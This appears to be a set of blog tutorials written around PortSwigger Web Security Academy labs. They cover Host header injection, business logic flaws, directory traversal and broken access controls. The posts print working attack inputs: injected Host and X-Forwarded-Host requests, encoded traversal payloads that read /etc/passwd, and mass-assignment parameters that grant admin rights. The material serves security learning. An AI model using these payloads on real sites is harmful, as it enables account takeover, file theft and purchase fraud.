Add line wrapping via space character. Sometimes adding a space character to the Host header may interpret the indented header as a wrapped line. This may cause the app to treat it as the preceding header’s value. This is especially helpful if the website blocks requests that contains multiple Host headers, as it may not register the indented Host header as an additional one.

GET /example HTTP/1.1
 Host: bad-stuff-here
Host: vulnerable-website.com

Additional Technique: Inject Host Override Headers

If we can’t override the Host Header using one of the above mentioned techniques, perhaps we can inject our payload into a header that will override it for us. For example, that could be one of the following:

  • X-Host
  • X-Forwarded-Server
  • X-HTTP-Host-Override
  • Forwarded
GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: bad-stuff-here

Additional Technique: Brute-Forcing Virtual Hosts

Companies sometimes make the mistake of hosting publicly accessible websites and private, internal sites on the same server. Servers typically have both a public and a private IP address. As the internal hostname may resolve to the private IP address, this scenario can’t always be detected simply by looking at DNS records.

In some cases, the internal site might not even have a public DNS record associated with it. Nonetheless, an attacker can typically access any virtual host on any server that they have access to, provided they can guess the hostnames. If they have discovered a hidden domain name through other means, such as information disclosure, they could simply request this directly. Otherwise, they can use tools like Burp Intruder to brute-force virtual hosts using a simple wordlist of candidate subdomains.


Exploitation Examples

So we’ve used the techniques mentioned above and have identified that a website is vulnerable to a Host Header Injection attack. How do we actually exploit this, and what is the impact? These examples will help you answer those questions.

Example 1A: Basic password reset poisoning (Uses Host Header)

To begin, we start by sending a password reset request for our own account. This is received in our email and we observe that the reset link contains a unique token that is used to issue the reset request.

If we issue another password reset request, but this type modify the Host header to a domain that we control (nope.com), the page returns a success 200 message.

Heading over to our email, we see that the password reset link is generated for https://nope.com.

Armed with this knowledge, we can craft our malicious request by submitting a password reset, but modifying the Host Header to point to a domain that we control.

Once the link that is sent to Carlos gets clicked, it should issue a request to our malicious domain. The request should include Carlos’ valid password reset token.

Now that we have his token, we can reset Carlos’ password by issuing the proper POST request.


Example 1B: Password reset poisoning via middleware (Uses X-Forwarded-Host Header)

This example is basically the same as the above, except modifying the Host Header returns an error. Instead, we can inject our own X-Forwarded-Host header that contains an arbitrary domain.

Which then generates an email containing a password reset token attached to a domain that we can control.

So again, we update the X-Forwarded-Host Header within a new password reset request, but we’ll point it to a domain that we actually control and modify the user to be Carlos.

This will generate an email containing a link. Once that link is clicked by Carlos, a password reset request is sent to our domain that contains the token we need.

Throwing that into Burp allows us to reset Carlos’ password.


Example 1C: Password reset poisoning via dangling markup (Uses Arbitrary Port Within Host Header)

In this example, a valid password reset request will send an email containing a new password.

We find that modifying the domain within the Host Header within our request returns an error, but modifying the port does not return an error.

Heading back to our mailbox, we can confirm that the arbitrary value we added to the port number is injected into the email message that gets sent – But we have to analyze this either by viewing the source code of the page, the response directly in Burp, or the Raw email message. Viewing the email raw is the easiest.

Armed with these details, we can analyze the message and see that we have an injection point that is reflected inside a link as an unescaped, single-quoted string. We’ll issue another password reset request, but this time we’ll do it for Carlos and use the port to break out of the string and inject a dangling-markup payload pointing to our exploit server.

The result is a mangled email being sent to the victim, but the AV is used to scan the link that we injected. This issues a GET request to our exploit server that contains the victims newly generated password.


Example 2: Web cache poisoning via ambiguous requests (Uses X-Cache Header)

In this example, we find that caching is in use by observing the “X-CACHE” Header. In addition to this, we find that we’re able to inject an arbitrary domain within a Javascript tag by adding a 2nd Host Header to our request. Combining these two items could allow us to run Javascript that we control in the browser of any victim that is served our cached webpage.

To begin, we notice that a simple GET request to the root of the site returns a 200 OK that isn’t cached.

However, sending a 2nd request to the same page quickly does confirm that caching is in use.

To request a unique page each time, we’ll just add a fake parameter to our request that we can increment when we don’t wish to retrieve a cached page. For example, I’ll add ?cb=1234 to the request.

Now let’s increment this value one more time, and see what happens when we try to inject a 2nd Host Header that contains an arbitrary domain. We see that the returned response was not cached, and the 2nd Host Header we provided was reflected into a Javascript Script tag.

We find that removing the 2nd Host Header and issuing a 2nd request to the same page will return our injected payload in the response, as long as the returned response is cached.

To get malicious with this, let’s create our own Javascript file on our exploit server. We’ll need to make sure that it contains the same file name/path as provided in the response from the webserver. That path is /resources/js/tracking.js.

With our payload crafted, make note of the URL that it lives at. Next, let’s go back into Burp and increment our ?cb param again. Before submitting the request, make sure to also include a 2nd Host Header that points to domain hosting your .js payload.

Quickly, we’ll remove the 2nd Host Header from our request to confirm the returned Response is cached and still contains our injected Payload.

Finally, we can simulate a user browsing to the malicious page and triggering the Javascript.

To solve the lab, remove the ?cb parameter and reissue the requests so that the Javascript payload will pop when a victim accesses the Home Page.


Example 3: Host header authentication bypass (Changing Host Header to localhost)

In this example, we find that an admin panel is available at /admin, but the page won’t load unless you’re accessing it locally.

However, intercepting the request and adjusting the Host Header to localhost bypasses this requirement.

And now we can delete users.


Example 4: Routing-based SSRF

This example requires access to Burp Pro. Will update this post once I have access to this tool.

WebApp 101

Business Logic Flaws/Vulnerabilities and PortSwigger Lab Examples

The term “Business Logic” can be misleading, but in the context of web application security and bug bounties, a Business Logic Vulnerability is when an attacker is able to make a website or application perform an action that was never intended by the developers. For example, a eCommerce website may allow you to perform a transaction, without actually going through the intended shopping cart sequence. This could potentially lead to invalided input supplied during the transaction process and cause unwanted outcomes.

Another term for these vulnerabilities is “Logic Flaws”. Since logic flaws typically require a human element for thinking about what the web application can do, and how we can make it do things that aren’t intended, they make for a great vulnerability category to hunt for, since vulnerability scanners typically won’t find these type of bugs.

Table of Contents:

  • Example A: Excessive trust in client-side controls:
  • Example B: 2FA Broken Logic
  • Example C: High-Level Logic Vulnerability
  • Example D: Low-Level Logic Flaw
  • Example E: Inconsistent Handling of Exceptional Input
  • Example F: Inconsistent Security Controls
  • Example G: Weak Isolation on Dual-Use Endpoint
  • Example H: Password Reset Broken Logic
  • Example I: 2FA Simple Bypass
  • Example J: Insufficient Workflow Validation
  • Example K: Authentication Bypass via Flawed State Machine
  • Example L: Flawed Enforcement of Business Rules
  • Example M: Infinite Money Logic Flaw

PortSwigger Labs

Example A: Excessive Trust in Client-Side Controls

In this example, we have a eCommerce website that sells a jacket for over $1,000. When the item is added to the cart, the price is also sent in the request. We can intercept this request and adjust the price of the item ourselves using Burp Suite.


Example B: 2FA Broken Logic

In this example, we have a web application that utilizes 2FA. We notice by observing the requests after signing in that in addition to sending our username/password, a 2nd request is sent that will request a 2FA code to be generated for whatever user is supplied in the “verify” parameter.

If we sign in with our own account (since we know valid credentials to it), we can then modify the request so that the verification code is generated for a different account by replacing “wiener” with our target, “carlos”.

With a verification code generated for Carlos, let’s enter an invalid 2FA code that is pending for our login and capture the request in Burp Suite. With the request captured, let’s send it to Repeater where we will modify the “verify” parameter to “carlos” and then set the “mfa-code” parameter to our payload.

Using a simple wordlist that contains four digit numbers, we’re able to brute force Carlos’ MFA code.

And then show the response in the browser to get logged in as Carlos.


Example C: High-Level Logic Vulnerability

In this example, we have another eCommerce site with multiple products for sale. This time however, the price is hardcoded with the ProductID in the request. Adding the expensive jacket will make the total in our cart over $1,000.

However, we can also intercept a request that adds another item in the cart. Since this item costs $80, we can use Burp to add -15 items, which cuts the price down for us.

Now our cart total is only $48.50.


Example D: Low-Level Logic Flaw

In this example, we’re working with the same eCommerce website. However, our previous attacks don’t work. This time, we’re going to attempt to add so many items to the cart that the “Total Price” overflows. Most programming languages can’t hold integers over 2.147b in value. In this particular case, adding enough items to the cart will cause the Total Price to overflow and start incrementing in negative values instead.

Burp Suite can easily perform this for us. If we intercept a request that is adding 99 items to the cart, we can then send it to Intruder. Instead of specify a payload, we’ll clear the payloads and set our payload type to a “Null payload”. This will essentially allow us to repeat our same request in bulk a certain, or infinite, number of times.

We can see by doing so, we have now added a ton of items to the cart, and cause the Total Price to return a negative value.

Now we just need to modify the cart in the right way so that the total price fits to a value between $0-100 since we have store credit of that amount. At that point, we can place the order.


Example E: Inconsistent Handling of Exceptional Input

In this example, we have a login page as well as the ability to register an account. Any account registered with the @dontwannacry.com domain will automatically be assigned administrator rights. However, since we do not have access to a valid @dontwannacry.com email account, we must exploit a misconfiguration.

We find that while we’re able to insert more than 256 characters when creating an email account, the application will truncate the remaining characters when signing up for an account. For example, we could enter the following email address when registering: ONHknIt7C0NCfRqaybvtktQpiS2BflyVTzAiGeC0yfOyIVN4wBGHFc9LXCsMIKGj7LfV2pmFbLyj73orVyWnSQcQKJHPG8zl2STXKoSLjccYVWf5rVB64aVkMlYlOppQBG8svfEE1nb3bOnenhF2fECssVypADOlJGQIuUUvrGCINMUY0agnw8tegZqDxep2XszBk501BgBdkY8om7jpXIERAoPvKHqs9aq5bFattacker@dontwannacry.com.ac9a1f1f1e15a857801bf5e2013f00e5.web-security-academy.net

As long as we own the domain dontwannacry.com.ac9a1f1f1e15a857801bf5e2013f00e5.web-security-academy.net, we should be able to receive the email message to verify the account. However, logging in reveals that only the first 256 characters are kept. This changes our email address to an @dontwannacry.com address, therefor tricking the system into giving us admin rights.


Example F: Inconsistent Security Controls

This one is simple. We have a login page and the ability to register an account. Any account registered with an @dontwannacry.com address will be assigned admin rights. We can’t register an account directly with this email because there is an email verification step upon initial registration, however, the web app does not require email verification to update your email address afterwards.

Once logged in using an email you do control, you can simply change your email to an @dontwannacry.com address using the “My Account” page.


Example G: Weak Isolation on Dual-Use Endpoint

In this example, we have a web app that allows for user accounts. When we’re logged in as a low level user, there is a feature for updating our password, but the client requires that we provide our current password before the new one will take. However, we notice that intercepting the request and deleting the “&current-password” parameter will allow us to change the password without knowing the current with.

We also notice that we can reset the password for any given user by providing the username of the desired account within the &username parameter.


Example H: Password Reset Broken Logic

In this example, we’re able to request a password reset for our own account to generate a valid reset token. However, the web app does not appear to perform checks against the token to ensure its validity. We find that when the token is removed, we’re able to reset a password for any user account by updating the “username” parameter.

With the token values removed, we can then adjust the username parameter to reflect the account we wish to reset. This now allows us to sign in using carlos:password as our credentials.


Example I: 2FA Simple Bypass

In this example, we know the password to two accounts both of which are secured with 2FA.

  • Our account: wiener:peter
  • Vitim account: carlos:montoya

Since we have access to Wiener’s mailbox, we can sign in from start to finish, receive the 2FA code, and see that we’re redirected to /my-account upon successful login.

With this knowledge, we can bypass the 2FA prompt by signing into Carlo’s account with the password and then browsing straight to /my-account when asked to enter the 2FA code.


Example J: Insufficient Workflow Validation

In this example, we want to purchase a super expensive item that costs $1,000, but only have $100 in store credit to use. We notice that ordering an item that we can afford (meaning less than $100) will issue a GET request that looks like this.

GET /cart/order-confirmation?order-confirmed=true HTTP/1.1

Armed with this knowledge, we can simply add the more expensive item to the cart and then use Burp Repeater to reissue that GET request. Doing so allows us to successfully place an order with bypassing the checkout process that collects payment.


Example K: Authentication Bypass via Flawed State Machine

In this example, we have valid login credentials for a non-admin user. However, the login process sends the user through a couple of pages. It looks like this.

  1. The user logs in by issuing a POST request to /login. We will forward this request.

2) Next, the web application will issue a GET request to /role-selector. This is a page that allows the user to select which role they want to interact with the web application with, based on which roles they’re allowed to use. However, we want to bypass this test to see what role is supplied by default, so we’ll drop this request.

3. At this point, we’ll manually browse back to the home page of the application, which shows us that we now have access to the admin panel! This proves that the default role is administrator.


Example L: Flawed Enforcement of Business Rules

In this example, we have an eCommerce site with discount codes. There are two codes that we can use on the page, but the intention of the developers was to only allow each code to be used a single time.

  • SIGNUP30 – Takes 30% off your order.
  • NEWCUST5 – Takes $5 off your order.

When trying to use the same discount code multiple times, the site will return an error.

However, we found that alternating between the two codes will bypass this control and allow us to use each coupon an unlimited number of times. Using Repeater, it is easy to send multiple requests and modify the coupon code being used for each.

Eventually the price is reduced to $0 as we’ve applied so many discounts.


Example M: Infinite Money Logic Flaw

In this example, we find that we’re able to utilize a 30% off coupon code to purchase a giftcard worth $10. Because there are no limits to the number of times we can place an order with this code, we can place multiple orders and make $3 off of each transaction.

To do this, we’ll configure a Burp Suite macro that will add the gift card to our cart, apply the coupon, check out, retrieve the gift card code, apply it to our account, and then use that money to repeat the process.

Since Portswigger does a better job at explaining how to set up the Macro than I could, the below is copied directly from their website. The process will create a Macro that runs each time we submit any request to the site. Once that is configured, we’ll utilize Repeater to automate the process of sending multiple null requests to the site to trigger the macro.

  1. Go to “Project options” > “Sessions”. In the “Session handling rules” panel, click “Add”. The “Session handling rule editor” dialog opens.
  2. In the dialog, go to the “Scope” tab. Under “URL Scope”, select “Include all URLs”.
  3. Go back to the “Details” tab. Under “Rule actions”, click “Add” > “Run a macro”. Under “Select macro”, click “Add” again to open the Macro Recorder.
  4. Select the following sequence of requests. Then, click “OK”. The Macro Editor opens.
    POST /cart
    POST /cart/coupon
    POST /cart/checkout
    GET /cart/order-confirmation?order-confirmed=true
    POST /gift-card
  5. In the list of requests, select GET /cart/order-confirmation?order-confirmed=true. Click “Configure item”. In the dialog that opens, click “Add” to create a custom parameter. Name the parameter gift-card and highlight the gift card code at the bottom of the response. Click “OK” twice to go back to the Macro Editor.
  6. Select the POST /gift-card request and click “Configure item” again. In the “Parameter handling” section, use the drop-down menus to specify that the gift-card parameter should be derived from the prior response (response 4). Click “OK”.
  7. In the Macro Editor, click “Test macro”. Look at the response to GET /cart/order-confirmation?order-confirmation=true and note the gift card code that was generated. Look at the POST /gift-card request. Make sure that the gift-card parameter matches and confirm that it received a 302 response. Keep clicking “OK” until you get back to the main Burp window.
  8. Send the GET /my-account request to Burp Intruder. Use the “Sniper” attack type and clear the default payload positions.
  9. On the “Payloads” tab, select the payload type “Null payloads”. Under “Payload options”, choose to generate 412 payloads. On the “Options” tab, set the thread count to 1. Start the attack.
  10. When the attack finishes, you will have enough store credit to buy the jacket and solve the lab.

WebApp 101

WebApps 101: Directory Traversal

Anytime that you notice the URL is calling on a file name, you should test to see if there is a directory traversal vulnerability.

Note: Majority of this content was taken from Portswigger Web Academy, but is not an exact copy/paste.

Table of Contents

  1. Table of Contents
  2. What is Directory Traversal?
  3. Testing for Directory Traversal
    1. Common Directory Traversal Paths
    2. Key Testing Payloads:
  4. Examples
    1. Example #1: Simple Case
    2. Example #2: Validation of Start of Path
    3. Example #3: Using a Null Byte
    4. Example #4: Traversal Sequences Stripped Non-Recursively
    5. Example #5: Traversal Sequences Stripped with Superfluous URL-Decode
  5. How to Prevent a Directory Traversal Attack

What is Directory Traversal?

Directory traversal (also known as file path traversal) is a web security vulnerability that allows an attacker to read arbitrary files on the server that is running an application. This might include application code and data, credentials for back-end systems, and sensitive operating system files. In some cases, an attacker might be able to write to arbitrary files on the server, allowing them to modify application data or behavior, and ultimately take full control of the server.


Testing for Directory Traversal

An easy way to test is to simply try and place ./ in front of the filename in the URL. If the page reloads and looks the same, and the special characters were not stripped out, it is a good indication that no filtering is taking place.

Common Directory Traversal Paths

  • For Unix: /../../../etc/passwd
  • For Windows: ..\..\..\windows\win.ini

Key Testing Payloads:

  1. See Example #1../../../../../etc/passwd
  2. See Example #1/etc/passwd
  3. See Example #2/var/www/../../../etc/passwd
  4. See Example #3../../../etc/passwd%00
  5. See Example #3../../../etc/passwd%00.png
  6. See Example #4....//....//....//etc/passwd
  7. See Example #5%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
  8. See Example #5%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66etc%25%32%66passwd

Examples

Example #1: Simple Case

Example: Say you have the following endpoint:
http://example.com/file.php?file=hacker.png

We could update it to look like this. If the page reloads and the characters are still present in the browser, you likely have a directory traversal vulnerability present.
http://example.com/file.php?file=./hacker.png

You can then try to read files on the system, such as /etc/passwd by going to the following URL.
http://example.com/file.php?file=../../../../../etc/passwd

Another option may be to try just using the full path directly.
http://example.com/file.php?file=/etc/passwd


Example #2: Validation of Start of Path

But what if the URL already included the full path? You may be tempted to go straight to the direct path of the file you’re looking for. However, the webserver may be configured to only server files that have a path that begin within a certain directory. Because of this, you may still need to use the above mentioned method for browsing the directory structure.

Example: Let’s say your vulnerable URL is below.
http://example.com/file.php?file=/var/www/hacker.png

You may be tempted to go straight to the full path of the file you wish to view, but this could return nothing depending on how things are configured. Instead, you’d be better suited using the following URL.
http://example.com/file.php?file=/var/www/../../../etc/passwd


Example #3: Using a Null Byte

In older versions of PHP, a null byte (represented as %00) can be used to effectively comment out and strip any file extension that the web application may append to the filename. This can be very helpful when trying to execute a file that uses a file extension that is different from what the web app is intended to serve.

Example: Let’s say your vulnerable URL is below.
http://example.com/file.php?file=hacker

The webserver itself is adding the .png file extension to the end of the filename. This means that it is serving a file up in the present working directory named hacker.png.

This is problematic for us as hackers because we may want to read /etc/passwd (as an example) using the following URL.
http://example.com/file.php?file=../../../etc/passwd

When we go to this, the webserver will append .png to the filename, which tries to take us to /etc/passwd.png. We can get around this by specifying our file extension, and then appending %00 to the request.
http://example.com/file.php?file=../../../etc/passwd%00

In cases where the application does not automatically add the file extension, but checks to make sure it’s present, you may have to add it yourself. For example:
http://example.com/file.php?file=../../../etc/passwd%00.png


Example #4: Traversal Sequences Stripped Non-Recursively

In some cases, the web application may strip out traversal sequences (such as ../../ or ..\..\). In those cases, you can place the traversal sequences inside of each other, so that a sequence is still left behind once stripped out.

Example: Let’s say your vulnerable URL is below.
http://example.com/file.php?file=hacker

You may be able to get past this issue by using the following payload:
http://example.com/file.php?file=....//....//....//etc/passwd


Example #5: Traversal Sequences Stripped with Superfluous URL-Decode

In some contexts, such as in a URL path or the filename parameter of a multipart/form-data request, web servers may strip any directory traversal sequences before passing your input to the application. You can sometimes bypass this kind of sanitization by URL encoding, or even double URL encoding, the ../ characters, resulting in %2e%2e%2f or %252e%252e%252f respectively. Various non-standard encodings, such as ..%c0%af or ..%ef%bc%8f, may also do the trick.

Example: Let’s say your vulnerable URL is below.
http://example.com/image?filename=1.jpg

Trying to use the following payload may be blocked.
http://example.com/image?filename=../../../../etc/passwd

But URL encoding the special characters may bypass the block.
http://example.com/image?filename=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

If that doesn’t work, try double URL encoding it.
http://example.com/image?filename=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66etc%25%32%66passwd


How to Prevent a Directory Traversal Attack

The most effective way to prevent file path traversal vulnerabilities is to avoid passing user-supplied input to filesystem APIs altogether. Many application functions that do this can be rewritten to deliver the same behavior in a safer way.

If it is considered unavoidable to pass user-supplied input to filesystem APIs, then two layers of defense should be used together to prevent attacks:

  • The application should validate the user input before processing it. Ideally, the validation should compare against a whitelist of permitted values. If that isn’t possible for the required functionality, then the validation should verify that the input contains only permitted content, such as purely alphanumeric characters.
  • After validating the supplied input, the application should append the input to the base directory and use a platform filesystem API to canonicalize the path. It should verify that the canonicalized path starts with the expected base directory.
WebApp 101

WebApps 101: Broken Authorization Controls

This post intends to serve as a guide for some easy wins to look for when pentesting a web application for weak authorization controls. Note that this differs from Broken Authentication Controls, as Authentication takes place before Authorization comes in.

This post will be updated as I learn more about broken controls to look for.


Incrementing numbers in URL

• The application may be built to separate user accounts based on a decimal value. For example, your session may be tied to a specific ID value of 3. What were to happen if you modified this value to show you the information for a value of 4? Or 5? 6? You could use Burpsuite Intruder to help automate incrementing these values to get an idea of what values may return results.

Example: The page that you’re authorized to see may be http://example.com/info/3. Can you access sensitive information by going to http://example.com/info/4 instead?

• In some cases, checks may be in place that prevent you from accessing certain pages using this method, but you should check to make sure other features also include these checks.

Example: You’re authorized to see the following URLs as part of your logged in session: http://example.com/info/3 and http://example.com/info/3/edit. If you try to access another user’s info page, it will sign you out. However, the checks were not implemented properly when you try to access their edit page at http://example.com/info/4/edit


Viewing data in other formats

• The HTML result on the page may be presented to you in a “hidden” format. However, you may be able to query the webserver to present the raw data to you in a different format, such as JSON. In some cases, the server could be configured to obfuscate the data when displayed as HTML, but may not be configured with the same obfuscation when viewing the data in other formats.

Example: The domain is http://example.com/1. You may be able to view the page in other formats by going to the file directly in the browser, or by querying it with Curl.


Checking for Mass Assignment Vulnerabilities

• Some webapps will send post requests with attributes in them. Even if you don’t see the attribute in the request, you may be able to guess the name of an attribute and set a value to it. If you guess correctly, and the request is interpreted on the server, you may be able to do things that were not intended.

Example: Imagine we’re registering a user account. When registering the account, the post request to the server may look like the following.
user[username]=user1&user[password]=password1&submit=Submit Query

We can intercept our request and add an additional attribute that will assign admin rights to our user.
user[username]=user1&user[password]=password1&user[admin]=True&submit=Submit Query

But don’t just stop there! If admin=true doesn’t work, you can try a handful of other items.

Example: The server may be expecting a different value, such as:
admin=1
admin=yes
isadmin=1
isadmin=true

• You can also test for other attributes, not just ones that will make you an admin. However, you may have to guess them if they are not visible to you.

Example: The registration page also discusses multiple organizations that you can be a part of. Your original post request may look the following:
user[username]=user1&user[password]=pass&submit=Submit Query

But we could modify it so that it looks like this instead.
user[username]=user1&user[password]=pass&submit=Submit Query&user[organisation_id]=1

WebApp 101

WebApps 101: Broken Authentication Controls

Note: Majority of the content here was ripped directly from PortSwigger.net.

This post intends to serve as a guide for some easy wins to look for when pentesting a web application for weak authentication controls. Note that this differs from Broken Authorization Controls, as Authentication takes place first.

This post will be updated as I learn more about broken controls to look for.


What is Authentication?

Authentication is the process of verifying the identity of a given user or client. In other words, it involves making sure that they really are who they claim to be.

  • Something you know, such as a password or the answer to a security question. These are sometimes referred to as “knowledge factors”.
  • Something you have, that is, a physical object like a mobile phone or security token. These are sometimes referred to as “possession factors”.
  • Something you are or do, for example, your biometrics or patterns of behavior. These are sometimes referred to as “inherence factors”.

How do we test for Broken Authentication Vulnerabilities?

Check session cookies.

  • Sometimes you’ll find that an application will place a cookie with a value that matches the user that you’re logged in with. If you modify this cookie to read a different value, you may be able to modify the account you’re authenticated as.
  • In an attempt to make a cookie a bit less human readable, webdevs might hash your username with a common algorithm and then use that value as your session cookie value. You should check the cookie to see if you can identify whether a hashing algorithm is in place. If so, check to see if it matches your username, as this could be an easy way to impersonate other users.

Registering the admin user.

  • When you’re able to register a new user, you may be able to register the “admin” user yourself if proper checks are not in place.
  • If it gives you an error, see if you can adjust the casing as not all checks are case sensitive. For example, try registering with “aDmin” instead of “admin”.
  • See if you can add a space at the end of the username to register “admin ” instead of “admin”. You can even try with multiple spaces.

Viewing redirect responses.

  • Some webdevs may force a redirect to a login page when you attempt to navigate a site. If you capture this request in Burpsuite, you can view the Response and see if there is any information on the page that is sensitive before the redirection takes place. You could also run Curl against the page to get the same result.

Example: Going to http://example.com/ may redirect to http://example.com/login.php. Viewing the response may reveal information on the page that they didn’t think you’d be able to see.


Bypassing Authentication: Null Binds

  • Some LDAP servers will be configured to allow Null Binds. If you’re prompted to login, and the login is performed with a post request, try issuing a request without any username or password parameters in the body.